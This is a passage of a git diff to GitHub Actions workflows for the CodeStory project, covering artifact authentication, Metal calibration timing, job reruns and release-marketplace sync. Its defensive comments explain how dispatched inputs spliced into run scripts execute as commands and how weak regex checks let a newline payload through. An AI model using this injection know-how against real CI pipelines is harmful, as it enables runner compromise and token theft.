FAILED_RUN_ATTEMPT: ${{ github.event.workflow_run.run_attempt }} + FAILED_RUN_CONCLUSION: ${{ github.event.workflow_run.conclusion }} + shell: bash + run: | + set -euo pipefail + bash .github/scripts/collect-actions-job-evidence.sh \ + "$FAILED_RUN_ID" "$FAILED_RUN_ATTEMPT" target/lost-runner/jobs.json + jq -n \ + --arg run_attempt "$FAILED_RUN_ATTEMPT" \ + --arg conclusion "$FAILED_RUN_CONCLUSION" \ + --slurpfile jobs target/lost-runner/jobs.json \ + '{run_attempt: $run_attempt, conclusion: $conclusion, jobs: $jobs[0]}' \ + > target/lost-runner/rerun-input.json + + - name: Plan the bounded rerun + id: plan + shell: bash + run: | + set -euo pipefail + node .github/scripts/lost-runner-recovery.mjs plan-rerun \ + --input target/lost-runner/rerun-input.json \ + --out target/lost-runner/rerun-plan.json + + - name: Re-dispatch only the lost jobs + if: steps.plan.outputs.rerun == 'true' + env: + GH_TOKEN: ${{ github.token }} + JOB_IDS: ${{ steps.plan.outputs.job_ids }} + shell: bash + run: | + set -euo pipefail + test -n "$JOB_IDS" + for job_id in $JOB_IDS; do + gh api --method POST "repos/$GITHUB_REPOSITORY/actions/jobs/$job_id/rerun" + done + + - name: Upload the recovery decision + if: always() + uses: actions/upload-artifact@v7.0.1 + with: + name: lost-runner-rerun-${{ github.event.workflow_run.id }}-attempt-${{ github.event.workflow_run.run_attempt }} + path: target/lost-runner + if-no-files-found: error + retention-days: 30 diff --git a/.github/workflows/macos-metal-proof.yml b/.github/workflows/macos-metal-proof.yml index 16e5c1351..aa01ba7fe 100644 --- a/.github/workflows/macos-metal-proof.yml +++ b/.github/workflows/macos-metal-proof.yml @@ -21,11 +21,6 @@ on: required: false default: false type: boolean - quality_evidence_artifact: - description: Exact-head release-evidence artifact containing packet/packet-runtime-summary.json. - required: false - default: "" - type: string calibration_bundle_artifact: description: Frozen calibration bundle artifact name. required: false @@ -61,55 +56,6 @@ on: required: false default: false type: boolean - workflow_dispatch: - inputs: - version: - description: CodeStory version to prove. - required: true - type: string - ref: - description: Git ref to check out. Defaults to the current SHA. - required: false - type: string - proof_key: - description: Stable proof identity for cancellation. - required: false - type: string - quality_evidence_artifact: - description: Existing exact-head release-evidence artifact name. - required: false - type: string - calibration_bundle_artifact: - description: Frozen calibration bundle artifact name. - required: false - default: "" - type: string - calibration_bundle_run_id: - description: Workflow run that produced the frozen calibration bundle artifact. - required: false - default: "" - type: string - calibration_mode: - description: Collect three independent pre-freeze Metal calibration runs. - required: false - default: false - type: boolean - candidate_installed_proof: - description: Install and prove the exact package through the candidate-managed launcher boundary. - required: false - default: false - type: boolean - candidate_producer_workflow_path: - description: Top-level workflow path authenticated as the candidate artifact producer. - required: false - default: ".github/workflows/macos-metal-proof.yml" - type: string - server_behavior_only: - description: Prove bounded package retrieval readiness without answer-quality or performance claims. - required: false - default: false - type: boolean - permissions: actions: read contents: read @@ -133,6 +79,14 @@ jobs: ref: ${{ inputs.ref || github.sha }} fetch-depth: 0 + - name: Validate unfrozen Metal calibration source + if: inputs.calibration_mode + shell: bash + run: | + set -euo pipefail + test "$(jq -r .status crates/codestory-llama-sys/per-user-embedding-server-constant-set.json)" = unfrozen + test "$(jq -r .freeze_record crates/codestory-llama-sys/per-user-embedding-server-constant-set.json)" = null + - name: Capture host evidence shell: bash run: | @@ -154,73 +108,213 @@ jobs: - name: Validate candidate-installed mode if: inputs.candidate_installed_proof shell: bash + env: + SERVER_BEHAVIOR_ONLY: ${{ inputs.server_behavior_only }} + CALIBRATION_MODE: ${{ inputs.calibration_mode }} run: | - test "${{ inputs.server_behavior_only }}" = true - test "${{ inputs.calibration_mode }}" = false + test "$SERVER_BEHAVIOR_ONLY" = true + test "$CALIBRATION_MODE" = false - name: Install pinned Rust - if: ${{ !inputs.use_packaged_cli_artifact || inputs.calibration_mode || !inputs.server_behavior_only }} + if: ${{ !inputs.use_packaged_cli_artifact }} shell: bash run: | rustup toolchain install 1.95.0 --profile minimal rustup default 1.95.0 + - name: Start Metal constant calibration clock + if: inputs.calibration_mode + id: calibration-clock + shell: bash + run: echo "started-ns=$(python3 -c 'import time; print(time.monotonic_ns())')" >> "$GITHUB_OUTPUT" + - name: Prepare checksum-pinned embedded model + id: model-prepare if: ${{ !inputs.use_packaged_cli_artifact }} - run: node scripts/prepare-embedded-model.mjs + shell: bash + run: | + set -euo pipefail + model_prepare_started_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + node scripts/prepare-embedded-model.mjs \ + --cache-root "$RUNNER_TOOL_CACHE/codestory/model-material" + model_prepare_finished_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + echo "duration-ms=$(((model_prepare_finished_ns - model_prepare_started_ns) / 1000000))" \ + >> "$GITHUB_OUTPUT" - name: Build and package native CLI + id: native-build-package if: ${{ !inputs.use_packaged_cli_artifact }} shell: bash env: VERSION: ${{ inputs.version }} + CALIBRATION_MODE: ${{ inputs.calibration_mode }} + SERVER_BEHAVIOR_ONLY: ${{ inputs.server_behavior_only }} run: | set -euo pipefail + build_package_started_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" version="${VERSION#v}" - cargo build --release -p codestory-cli --locked + cargo_args=( + -p codestory-cli + --bin codestory-cli + --bin codestory-cli-runtime + ) + if [ "$CALIBRATION_MODE" = true ]; then + cargo_args+=( + -p codestory-bench + --bin codestory_embedding_constant_calibration + ) + elif [ "$SERVER_BEHAVIOR_ONLY" != true ]; then + cargo_args+=( + -p codestory-bench + --bin codestory_embedding_qualification + ) + fi + cargo build --release --locked "${cargo_args[@]}" python3 .github/scripts/package-codestory-release.py \ --version "$version" \ --target macos-arm64 \ --binary target/release/codestory-cli \ --out-dir target/release-dist + build_package_finished_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + echo "duration-ms=$(((build_package_finished_ns - build_package_started_ns) / 1000000))" \ + >> "$GITHUB_OUTPUT" - - name: Download packaged CLI artifact + - name: Authenticate exact candidate artifacts + id: candidate-artifacts if: inputs.use_packaged_cli_artifact shell: bash env: GH_TOKEN: ${{ github.token }} ARTIFACT_NAME: codestory-cli-macos-arm64 + CANDIDATE_RECORD_ARTIFACT: codestory-candidate-archive-record-macos-arm64 + QUALIFICATION_ARTIFACT: codestory-qualification-driver-macos-arm64 + CANDIDATE_PRODUCER_WORKFLOW_PATH: ${{ inputs.candidate_producer_workflow_path }} + SERVER_BEHAVIOR_ONLY: ${{ inputs.server_behavior_only }} run: | set -euo pipefail - artifact="$( + case "$CANDIDATE_PRODUCER_WORKFLOW_PATH" in + .github/workflows/auto-release.yml | \ + .github/workflows/release.yml | \ + .github/workflows/packaged-platform-pr.yml) + ;; + *) + exit 1 + ;; + esac + if [ "$SERVER_BEHAVIOR_ONLY" != true ]; then + test "$CANDIDATE_PRODUCER_WORKFLOW_PATH" = \ + .github/workflows/packaged-platform-pr.yml + fi + producer_run="$( + gh api "repos/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID" + )" + test "$(jq -r '.head_repository.full_name' <<<"$producer_run")" = "$GITHUB_REPOSITORY" + test "$(jq -r '.path' <<<"$producer_run")" = "$CANDIDATE_PRODUCER_WORKFLOW_PATH" + test "$(jq -r '.head_sha' <<<"$producer_run")" = "$(git rev-parse HEAD)" + test "$(jq -r '.run_attempt' <<<"$producer_run")" = "$GITHUB_RUN_ATTEMPT" + artifacts="$( gh api "repos/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID/artifacts?per_page=100" \ - | jq \ - --arg name "$ARTIFACT_NAME" \ - --arg sha "$GITHUB_SHA" \ - --argjson run_id "$GITHUB_RUN_ID" \ - '[ - .artifacts[] - | select( - .name == $name - and .expired == false - and .workflow_run.id == $run_id - and .workflow_run.head_sha == $sha - ) - ] | sort_by(.created_at) | last' )" - test "$artifact" != null - + select_artifact() { + local name="$1" + jq \ + --arg name "$name" \ + --arg sha "$(git rev-parse HEAD)" \ + --argjson run_id "$GITHUB_RUN_ID" \ + '[ + .artifacts[] + | select( + .name == $name + and .expired == false + and .workflow_run.id == $run_id + and .workflow_run.head_sha == $sha + ) + ] | if length == 1 then .[0] else error("expected one exact candidate artifact") end' \ + <<<"$artifacts" + } + artifact="$(select_artifact "$ARTIFACT_NAME")" + record_artifact="$(select_artifact "$CANDIDATE_RECORD_ARTIFACT")" + if [ "$SERVER_BEHAVIOR_ONLY" != true ]; then + select_artifact "$QUALIFICATION_ARTIFACT" >/dev/null + fi artifact_id="$(jq -r '.id' <<<"$artifact")" expected_size="$(jq -r '.size_in_bytes' <<<"$artifact")" expected_digest="$(jq -r '.digest' <<<"$artifact")" [[ "$artifact_id" =~ ^[0-9]+$ ]] [[ "$expected_size" =~ ^[0-9]+$ ]] [[ "$expected_digest" =~ ^sha256:[0-9a-f]{64}$ ]] + [[ "$(jq -r '.id' <<<"$record_artifact")" =~ ^[0-9]+$ ]] + [[ "$(jq -r '.size_in_bytes' <<<"$record_artifact")" =~ ^[0-9]+$ ]] + [[ "$(jq -r '.digest' <<<"$record_artifact")" =~ ^sha256:[0-9a-f]{64}$ ]] + { + echo "package-id=$artifact_id" + echo "package-bytes=$expected_size" + echo "package-sha256=${expected_digest#sha256:}" + } >> "$GITHUB_OUTPUT" + + - name: Download authenticated candidate record + if: inputs.use_packaged_cli_artifact + uses: actions/download-artifact@v8.0.1 + with: + name: codestory-candidate-archive-record-macos-arm64 + path: target/candidate-archive-record/macos-arm64 - archive="$RUNNER_TEMP/$ARTIFACT_NAME-$artifact_id.zip" - download_url="$GITHUB_API_URL/repos/$GITHUB_REPOSITORY/actions/artifacts/$artifact_id/zip" - rm -f "$archive" - trap 'rm -f "$archive"' EXIT + - name: Restore exact candidate archive from protected host + id: candidate-cache + if: inputs.use_packaged_cli_artifact + shell: bash + run: | + set -euo pipefail + started_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + record=target/candidate-archive-record/macos-arm64/candidate-archive-record.json + jq -e \ + --arg repository "$GITHUB_REPOSITORY" \ + --arg source_sha "$(git rev-parse HEAD)" \ + --arg source_tree "$(git rev-parse 'HEAD^{tree}')" \ + --arg target macos-arm64 \ + '.repository == $repository + and .source.commit == $source_sha + and .source.tree == $source_tree + and .target == $target' \ + "$record" >/dev/null + store="$RUNNER_TOOL_CACHE/codestory/candidate-archives" + mkdir -p "$store" target + rm -rf target/release-dist + restored="$( + node .github/scripts/candidate-archive-store.mjs restore \ + --record "$record" \ + --store-root "$store" \ + --output-root target \ + --output-dir target/release-dist + )" + hit="$(jq -r .hit <<<"$restored")" + test "$hit" = true || test "$hit" = false + finished_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + elapsed_ms=$(((finished_ns - started_ns) / 1000000)) + echo "hit=$hit" >> "$GITHUB_OUTPUT" + { + echo "### Candidate archive transfer" + echo + echo "- Protected-host cache lookup and verification: ${elapsed_ms} ms" + echo "- Cache hit: \`$hit\`" + } >> "$GITHUB_STEP_SUMMARY" + + - name: Download, authenticate, and admit candidate archive on miss + if: inputs.use_packaged_cli_artifact && steps.candidate-cache.outputs.hit != 'true' + shell: bash + env: + GH_TOKEN: ${{ github.token }} + ARTIFACT_ID: ${{ steps.candidate-artifacts.outputs.package-id }} + EXPECTED_SIZE: ${{ steps.candidate-artifacts.outputs.package-bytes }} + EXPECTED_SHA256: ${{ steps.candidate-artifacts.outputs.package-sha256 }} + run: | + set -euo pipefail + transfer_started_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + archive="$RUNNER_TEMP/codestory-cli-macos-arm64-$ARTIFACT_ID.zip" + download_url="$GITHUB_API_URL/repos/$GITHUB_REPOSITORY/actions/artifacts/$ARTIFACT_ID/zip" + partial="$archive.partial" + rm -f "$archive" "$partial" + trap 'rm -f "$archive" "$partial"' EXIT complete=false for attempt in $(seq 1 30); do @@ -235,45 +329,85 @@ jobs: --header "Accept: application/vnd.github+json" \ --header "Authorization: Bearer $GH_TOKEN" \ --header "X-GitHub-Api-Version: 2022-11-28" \ - --output "$archive" \ + --output "$partial" \ "$download_url"; then complete=true break fi current_size=0 - test ! -f "$archive" || current_size="$(stat -f %z "$archive")" - test "$current_size" -le "$expected_size" - if [ "$current_size" = "$expected_size" ]; then + test ! -f "$partial" || current_size="$(stat -f %z "$partial")" + test "$current_size" -le "$EXPECTED_SIZE" + if [ "$current_size" = "$EXPECTED_SIZE" ]; then complete=true break fi - echo "::warning title=macOS artifact transfer interrupted::Resuming $ARTIFACT_NAME at byte $current_size after attempt $attempt" + echo "::warning title=macOS artifact transfer interrupted::Resuming the exact candidate at byte $current_size after attempt $attempt" sleep 2 done test "$complete" = true - actual_size="$(stat -f %z "$archive")" - actual_digest="$(shasum -a 256 "$archive" | awk '{print $1}')" - test "$actual_size" = "$expected_size" - test "$actual_digest" = "${expected_digest#sha256:}" + actual_size="$(stat -f %z "$partial")" + actual_digest="$(shasum -a 256 "$partial" | awk '{print $1}')" + test "$actual_size" = "$EXPECTED_SIZE" + test "$actual_digest" = "$EXPECTED_SHA256" + mv "$partial" "$archive" + transfer_finished_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" printf 'artifact_id=%s artifact_bytes=%s artifact_digest=%s\n' \ - "$artifact_id" "$actual_size" "$expected_digest" - - mkdir -p target/release-dist - ditto -x -k "$archive" target/release-dist - - - name: Build qualification driver - if: inputs.calibration_mode || !inputs.server_behavior_only - shell: bash - run: cargo build --release --locked -p codestory-bench --bin codestory_embedding_qualification + "$ARTIFACT_ID" "$actual_size" "$actual_digest" + + record=target/candidate-archive-record/macos-arm64/candidate-archive-record.json + stage=target/candidate-archive-stage/macos-arm64 + rm -rf "$stage" + python3 .github/scripts/extract-candidate-actions-artifact.py \ + --artifact "$archive" \ + --record "$record" \ + --out "$stage" + admitted="$( + node .github/scripts/candidate-archive-store.mjs admit \ + --record "$record" \ + --input-root "$stage" \ + --store-root "$RUNNER_TOOL_CACHE/codestory/candidate-archives" \ + --output-root target \ + --output-dir target/release-dist + )" + test "$(jq -r .hit <<<"$admitted")" = true || \ + test "$(jq -r .admitted <<<"$admitted")" = true + admission_finished_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + transfer_ms=$(((transfer_finished_ns - transfer_started_ns) / 1000000)) + verification_ms=$(((admission_finished_ns - transfer_finished_ns) / 1000000)) + { + echo "- Authenticated Actions transfer: ${transfer_ms} ms" + echo "- Payload verification and atomic admission: ${verification_ms} ms" + } >> "$GITHUB_STEP_SUMMARY" - - name: Download exact-head publishable packet quality evidence - if: inputs.quality_evidence_artifact != '' + - name: Download separate authenticated qualification driver + if: ${{ inputs.use_packaged_cli_artifact && !inputs.calibration_mode && !inputs.server_behavior_only }} uses: actions/download-artifact@v8.0.1 with: - name: ${{ inputs.quality_evidence_artifact }} - path: target/release-quality-evidence + name: codestory-qualification-driver-macos-arm64 + path: target/qualification-driver-artifact/macos-arm64 + + - name: Verify packaged qualification driver + id: qualification-driver + if: ${{ inputs.use_packaged_cli_artifact && !inputs.calibration_mode && !inputs.server_behavior_only }} + shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + run: | + set -euo pipefail + version="${INPUT_VERSION#v}" + verified="$( + node .github/scripts/qualification-driver-artifact.mjs verify \ + --asset-target macos-arm64 \ + --source-sha "$(git rev-parse HEAD)" \ + --source-tree "$(git rev-parse 'HEAD^{tree}')" \ + --version "$version" \ + --archive "target/release-dist/codestory-cli-v${version}-macos-arm64.tar.gz" \ + --trusted-root "$GITHUB_WORKSPACE" \ + --artifact-dir target/qualification-driver-artifact/macos-arm64 + )" + echo "path=$(jq -r .driver <<<"$verified")" >> "$GITHUB_OUTPUT" - name: Authenticate calibration bundle producer if: ${{ !inputs.calibration_mode && !inputs.server_behavior_only }} @@ -314,6 +448,10 @@ jobs: VERSION: ${{ inputs.version }} CODESTORY_EMBED_ALLOW_CPU: "0" SERVER_BEHAVIOR_ONLY: ${{ inputs.server_behavior_only }} + USE_PACKAGED_CLI_ARTIFACT: ${{ inputs.use_packaged_cli_artifact }} + VERIFIED_QUALIFICATION_DRIVER: ${{ steps.qualification-driver.outputs.path }} + CALIBRATION_ARTIFACT: ${{ inputs.calibration_bundle_artifact }} + CALIBRATION_RUN_ID: ${{ inputs.calibration_bundle_run_id }} run: | set -euo pipefail version="${VERSION#v}" @@ -321,27 +459,29 @@ jobs: source_tree="$(git rev-parse 'HEAD^{tree}')" export TMPDIR="${RUNNER_TEMP}/codestory metal proof ü" mkdir -p "$TMPDIR" - quality_args=() qualification_args=() calibration_args=() claim_scope_args=() - quality_path="target/release-quality-evidence/packet/packet-runtime-summary.json" if [ "$SERVER_BEHAVIOR_ONLY" = true ]; then claim_scope_args=(--server-behavior-only) else calibration_bundle="$(find target/calibration-bundle -type f -name calibration-bundle.json -print)" test "$(printf '%s\n' "$calibration_bundle" | sed '/^$/d' | wc -l | tr -d ' ')" = 1 - test -f "$quality_path" - quality_args=(--retrieval-quality-evidence "$quality_path") + qualification_driver=target/release/codestory_embedding_qualification + if [ "$USE_PACKAGED_CLI_ARTIFACT" = true ]; then + qualification_driver="$VERIFIED_QUALIFICATION_DRIVER" + test -n "$qualification_driver" + fi + test -x "$qualification_driver" qualification_args=( --produce-qualification-evidence - --qualification-driver target/release/codestory_embedding_qualification + --qualification-driver "$qualification_driver" --qualification-evidence target/macos-metal-proof/qualification.json ) calibration_args=( --calibration-bundle "$calibration_bundle" - --calibration-producer-run-id "${{ inputs.calibration_bundle_run_id }}" - --calibration-producer-artifact "${{ inputs.calibration_bundle_artifact }}" + --calibration-producer-run-id "$CALIBRATION_RUN_ID" + --calibration-producer-artifact "$CALIBRATION_ARTIFACT" ) fi python3 .github/scripts/check-packaged-agent-proof.py \ @@ -361,11 +501,10 @@ jobs: "${calibration_args[@]}" \ --expected-source-sha "$source_sha" \ --expected-source-tree "$source_tree" \ - "${quality_args[@]}" \ --timeout-secs 1800 \ --out-dir target/macos-metal-proof/packaged-agent - - name: Collect three independent Metal calibration runs + - name: Collect three independent Metal constant calibration runs if: inputs.calibration_mode shell: bash env: @@ -373,35 +512,78 @@ jobs: CODESTORY_EMBED_ALLOW_CPU: "0" run: | set -euo pipefail - test "$(jq -r .status crates/codestory-llama-sys/per-user-embedding-server-constant-set.json)" = unfrozen version="${VERSION#v}" source_sha="$(git rev-parse HEAD)" source_tree="$(git rev-parse 'HEAD^{tree}')" export TMPDIR="${RUNNER_TEMP}/codestory metal calibration ü" mkdir -p "$TMPDIR" target/calibration-runs/macos - for run_index in 1 2 3; do - python3 .github/scripts/check-packaged-agent-proof.py \ - --archive "target/release-dist/codestory-cli-v${version}-macos-arm64.tar.gz" \ - --checksum-file "target/release-dist/codestory-cli-v${version}-macos-arm64.tar.gz.sha256" \ - --expected-version "$version" \ - --project "${{ github.workspace }}" \ - --plugin-root plugins/codestory \ - --plugin-handoff \ - --engine-policy accelerated \ - --expected-backend Metal \ - --offline \ - --proof-tier calibration \ - --qualification-matrix-cell protected_macos_arm64_metal \ - --produce-qualification-evidence \ - --qualification-driver target/release/codestory_embedding_qualification \ - --qualification-evidence "target/calibration-runs/macos/qualification-${run_index}.json" \ - --calibration-run-index "$run_index" \ - --calibration-run-output "target/calibration-runs/macos/run-${run_index}.json" \ - --expected-source-sha "$source_sha" \ - --expected-source-tree "$source_tree" \ - --timeout-secs 1800 \ - --out-dir "target/calibration-runs/macos/proof-${run_index}" - done + python3 .github/scripts/check-packaged-agent-proof.py \ + --archive "target/release-dist/codestory-cli-v${version}-macos-arm64.tar.gz" \ + --checksum-file "target/release-dist/codestory-cli-v${version}-macos-arm64.tar.gz.sha256" \ + --expected-version "$version" \ + --engine-policy accelerated \ + --expected-backend Metal \ + --offline \ + --proof-tier calibration \ + --qualification-matrix-cell protected_macos_arm64_metal \ + --collect-constant-calibration \ + --constant-calibration-output-dir target/calibration-runs/macos \ + --qualification-driver target/release/codestory_embedding_constant_calibration \ + --expected-source-sha "$source_sha" \ + --expected-source-tree "$source_tree" \ + --timeout-secs 1800 \ + --out-dir target/calibration-proof/macos + + - name: Publish Metal constant calibration timing + if: inputs.calibration_mode + shell: bash + env: + CALIBRATION_STARTED_NS: ${{ steps.calibration-clock.outputs.started-ns }} + MODEL_PREPARATION_DURATION_MS: ${{ steps.model-prepare.outputs.duration-ms }} + BUILD_PACKAGE_DURATION_MS: ${{ steps.native-build-package.outputs.duration-ms }} + run: | + set -euo pipefail + timing_path=target/calibration-runs/macos/timing.json + calibration_finished_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + [[ "$CALIBRATION_STARTED_NS" =~ ^[0-9]+$ ]] + [[ "$MODEL_PREPARATION_DURATION_MS" =~ ^[0-9]+$ ]] + [[ "$BUILD_PACKAGE_DURATION_MS" =~ ^[0-9]+$ ]] + calibration_total_ms=$(((calibration_finished_ns - CALIBRATION_STARTED_NS) / 1000000)) + test "$calibration_total_ms" -ge 0 + test "$calibration_total_ms" -lt 600000 + test "$BUILD_PACKAGE_DURATION_MS" -ge 0 + jq -e ' + .schema_version == 1 + and all( + [ + .archive_authentication_unpack_ms, + .project_and_request_setup_ms, + .measurement_ms, + .retention_validation_ms, + .end_to_end_ms + ][]; + type == "number" and . >= 0 + ) + ' "$timing_path" >/dev/null + { + echo "### Metal constant calibration timing" + echo + echo "| Phase | Duration |" + echo "|---|---:|" + printf '| Model preparation | %s ms |\n' "$MODEL_PREPARATION_DURATION_MS" + printf '| Shared CLI build and package | %s ms |\n' "$BUILD_PACKAGE_DURATION_MS" + jq -r ' + [ + ["Archive authentication and unpack", .archive_authentication_unpack_ms], + ["Project and request setup", .project_and_request_setup_ms], + ["Measurement", .measurement_ms], + ["Retention validation", .retention_validation_ms], + ["Archive through retained evidence", .end_to_end_ms] + ][] + | "| \(.[0]) | \(.[1]) ms |" + ' "$timing_path" + printf '| Total calibration wall time | %s ms |\n' "$calibration_total_ms" + } >> "$GITHUB_STEP_SUMMARY" - name: Stage isolated candidate-managed macOS install if: ${{ inputs.candidate_installed_proof && !inputs.calibration_mode }} @@ -507,6 +689,7 @@ jobs: shell: bash env: VERSION: ${{ inputs.version }} + INPUT_REF: ${{ inputs.ref }} run: | set -euo pipefail version="${VERSION#v}" @@ -516,7 +699,7 @@ jobs: > target/macos-metal-proof/release-cell-identity.json node scripts/codestory-release-cell-manifest.mjs produce \ --repo "$GITHUB_WORKSPACE" \ - --expected-sha "${{ inputs.ref }}" \ + --expected-sha "$INPUT_REF" \ --version "$version" \ --cell-id accelerator_execution:macos-arm64-metal \ --producer-workflow .github/workflows/macos-metal-proof.yml \ @@ -542,12 +725,13 @@ jobs: shell: bash env: VERSION: ${{ inputs.version }} + INPUT_REF: ${{ inputs.ref }} run: | set -euo pipefail version="${VERSION#v}" node scripts/codestory-release-cell-manifest.mjs produce \ --repo "$GITHUB_WORKSPACE" \ - --expected-sha "${{ inputs.ref }}" \ + --expected-sha "$INPUT_REF" \ --version "$version" \ --cell-id retrieval_readiness:macos-arm64 \ --producer-workflow .github/workflows/macos-metal-proof.yml \ @@ -572,6 +756,7 @@ jobs: shell: bash env: VERSION: ${{ inputs.version }} + INPUT_REF: ${{ inputs.ref }} run: | set -euo pipefail version="${VERSION#v}" @@ -583,7 +768,7 @@ jobs: > target/candidate-installed-macos/release-cell-identity.json node scripts/codestory-release-cell-manifest.mjs produce \ --repo "$GITHUB_WORKSPACE" \ - --expected-sha "${{ inputs.ref }}" \ + --expected-sha "$INPUT_REF" \ --version "$version" \ --cell-id candidate_installed_behavior:macos-arm64 \ --producer-workflow .github/workflows/macos-metal-proof.yml \ diff --git a/.github/workflows/marketplace-sync.yml b/.github/workflows/marketplace-sync.yml index 565c4c9c2..e8b917c8d 100644 --- a/.github/workflows/marketplace-sync.yml +++ b/.github/workflows/marketplace-sync.yml @@ -32,6 +32,35 @@ jobs: timeout-minutes: 10 environment: marketplace-publish steps: + # Dispatch inputs reach shells only through the environment. Actions interpolation is textual + # and double quotes do not stop command substitution, so a value spliced into script text runs + # as a command on the runner -- here with the default token and, later, the marketplace app + # token. Shape is checked before the ref is resolved or any token is minted. + # `[[ =~ ]]` is a bash construct. Under a POSIX shell it is a missing command inside an `if`, + # which `set -e` does not treat as an error, so the refusal below would be skipped and the + # guard would exit 0 on the value it exists to reject. The shell is declared, not inherited. + - name: Validate the dispatched release coordinates + shell: bash + env: + INPUT_COMMIT: ${{ inputs.commit }} + INPUT_VERSION: ${{ inputs.version }} + run: | + set -euo pipefail + # Match the whole value, not a line inside it. grep anchors per line, so a dispatched + # commit of a well-formed abbreviation followed by a newline and a payload passes a + # per-line test on its first line and carries the rest through untouched. Bash regex has + # no notion of a line: here ^ and $ are the ends of the value itself. + commit_shape='^[0-9a-fA-F]{7,40}$' + version_shape='^[0-9]+\.[0-9]+\.[0-9]+(-[0-9A-Za-z.]+)?$' + if [[ ! "$INPUT_COMMIT" =~ $commit_shape ]]; then + echo "::error::commit must be a 7-40 character hexadecimal commit id." + exit 1 + fi + if [[ ! "$INPUT_VERSION" =~ $version_shape ]]; then + echo "::error::version must be a semantic version without a v prefix." + exit 1 + fi + - name: Checkout the published commit uses: actions/checkout@v5 with: @@ -39,13 +68,16 @@ jobs: fetch-depth: 0 - name: Require a published release for this commit + shell: bash env: GH_TOKEN: ${{ github.token }} + INPUT_COMMIT: ${{ inputs.commit }} + INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail - tag="v${{ inputs.version }}" + tag="v$INPUT_VERSION" target="$(gh release view "$tag" --repo "$GITHUB_REPOSITORY" --json targetCommitish --jq .targetCommitish)" - resolved="$(git rev-parse "${{ inputs.commit }}^{commit}")" + resolved="$(git rev-parse "$INPUT_COMMIT^{commit}")" if [ "$target" != "$resolved" ]; then echo "::error::release $tag targets $target, not $resolved. The catalog may only point at a published release commit." exit 1 @@ -65,11 +97,14 @@ jobs: repositories: AgentPluginMarketplace - name: Point the catalog at the published release + shell: bash env: GH_TOKEN: ${{ steps.token.outputs.token }} + INPUT_COMMIT: ${{ inputs.commit }} + INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail node .github/scripts/publish-marketplace-catalog.mjs \ --source-repository "$GITHUB_WORKSPACE" \ - --commit "${{ inputs.commit }}" \ - --version "${{ inputs.version }}" + --commit "$INPUT_COMMIT" \ + --version "$INPUT_VERSION" diff --git a/.github/workflows/packaged-platform-pr.yml b/.github/workflows/packaged-platform-pr.yml index 36bc36c23..630bcad78 100644 --- a/.github/workflows/packaged-platform-pr.yml +++ b/.github/workflows/packaged-platform-pr.yml @@ -1,8 +1,6 @@ name: Platform and integration proof on: - pull_request: - types: [labeled] workflow_dispatch: inputs: mode: @@ -37,19 +35,23 @@ on: description: Workflow run that produced the frozen calibration bundle artifact. required: false type: string + freeze_receipt_digest: + description: Active executable-freeze receipt digest for this exact proof head. + required: true + type: string permissions: - actions: read + actions: write contents: read pull-requests: read + statuses: read concurrency: - group: proof-${{ github.sha }}-${{ inputs.mode || 'platform' }}-${{ inputs.pr_number || github.event.pull_request.number || 'dev' }}-${{ github.event.action == 'labeled' && github.event.label.name || 'dispatch' }} + group: proof-${{ github.sha }}-${{ inputs.mode || 'platform' }}-${{ inputs.pr_number || 'dev' }} cancel-in-progress: true jobs: route: - if: github.event_name != 'pull_request' || (github.event.action == 'labeled' && github.event.label.name == 'platform-proof') runs-on: ubuntu-latest timeout-minutes: 10 outputs: @@ -153,6 +155,10 @@ jobs: echo "::error::Calibration collection does not consume prior proof artifacts." exit 1 fi + elif [ "$mode" = "qualification" ]; then + test -z "$INPUT_SOURCE_RUN_ID" + test -n "$INPUT_CALIBRATION_ARTIFACT" + test -n "$INPUT_CALIBRATION_RUN_ID" fi { echo "head_sha=$current_head" @@ -161,36 +167,28 @@ jobs: echo "proof_key=$mode-pr-$pr_number-$current_head" } >> "$GITHUB_OUTPUT" - - name: Require successful exact-head source proof - if: steps.resolve.outputs.mode != 'integration' + - name: Checkout accepted candidate + uses: actions/checkout@v5 + with: + ref: ${{ steps.resolve.outputs.head_sha }} + fetch-depth: 0 + + - name: Cancel superseded proof runs shell: bash env: GH_TOKEN: ${{ github.token }} HEAD_SHA: ${{ steps.resolve.outputs.head_sha }} run: | - set -euo pipefail - accepted=false - while IFS= read -r run_id; do - if gh api "repos/$GITHUB_REPOSITORY/actions/runs/$run_id/jobs?per_page=100" \ - --jq '.jobs[] | select(.name == "full-source-gate" and .conclusion == "success") | .id' \ - | grep -q . - then - accepted=true - echo "Accepted exact-head source proof run $run_id for $HEAD_SHA." - break - fi - done < <( - gh api --paginate \ - "repos/$GITHUB_REPOSITORY/actions/runs?head_sha=$HEAD_SHA&status=completed&per_page=100" \ - | jq -r --arg repo "$GITHUB_REPOSITORY" \ - '.workflow_runs[] | select(.path == ".github/workflows/source-proof.yml" and .head_repository.full_name == $repo and (.event == "pull_request" or .event == "workflow_dispatch") and .conclusion == "success") | .id' - ) - test "$accepted" = true || { - echo "::error::No successful full-source-gate job exists for exact head $HEAD_SHA." - exit 1 - } + node .github/scripts/release-freeze-barrier.mjs cancel-superseded \ + --repository "$GITHUB_REPOSITORY" \ + --commit "$HEAD_SHA" \ + --broad-workflow "Exact-head source proof" \ + --broad-workflow "Platform and integration proof" \ + --broad-workflow "Release" \ + --broad-workflow "Auto Release" - name: Authenticate calibration bundle producer + id: calibration if: inputs.calibration_bundle_artifact != '' || inputs.calibration_bundle_run_id != '' shell: bash env: @@ -214,10 +212,59 @@ jobs: )" test "$artifact_count" = 1 - - uses: actions/checkout@v5 - with: - ref: ${{ steps.resolve.outputs.head_sha }} - fetch-depth: 0 + - name: Require executable release freeze + shell: bash + env: + GH_TOKEN: ${{ github.token }} + FREEZE_RECEIPT_DIGEST: ${{ inputs.freeze_receipt_digest }} + HEAD_SHA: ${{ 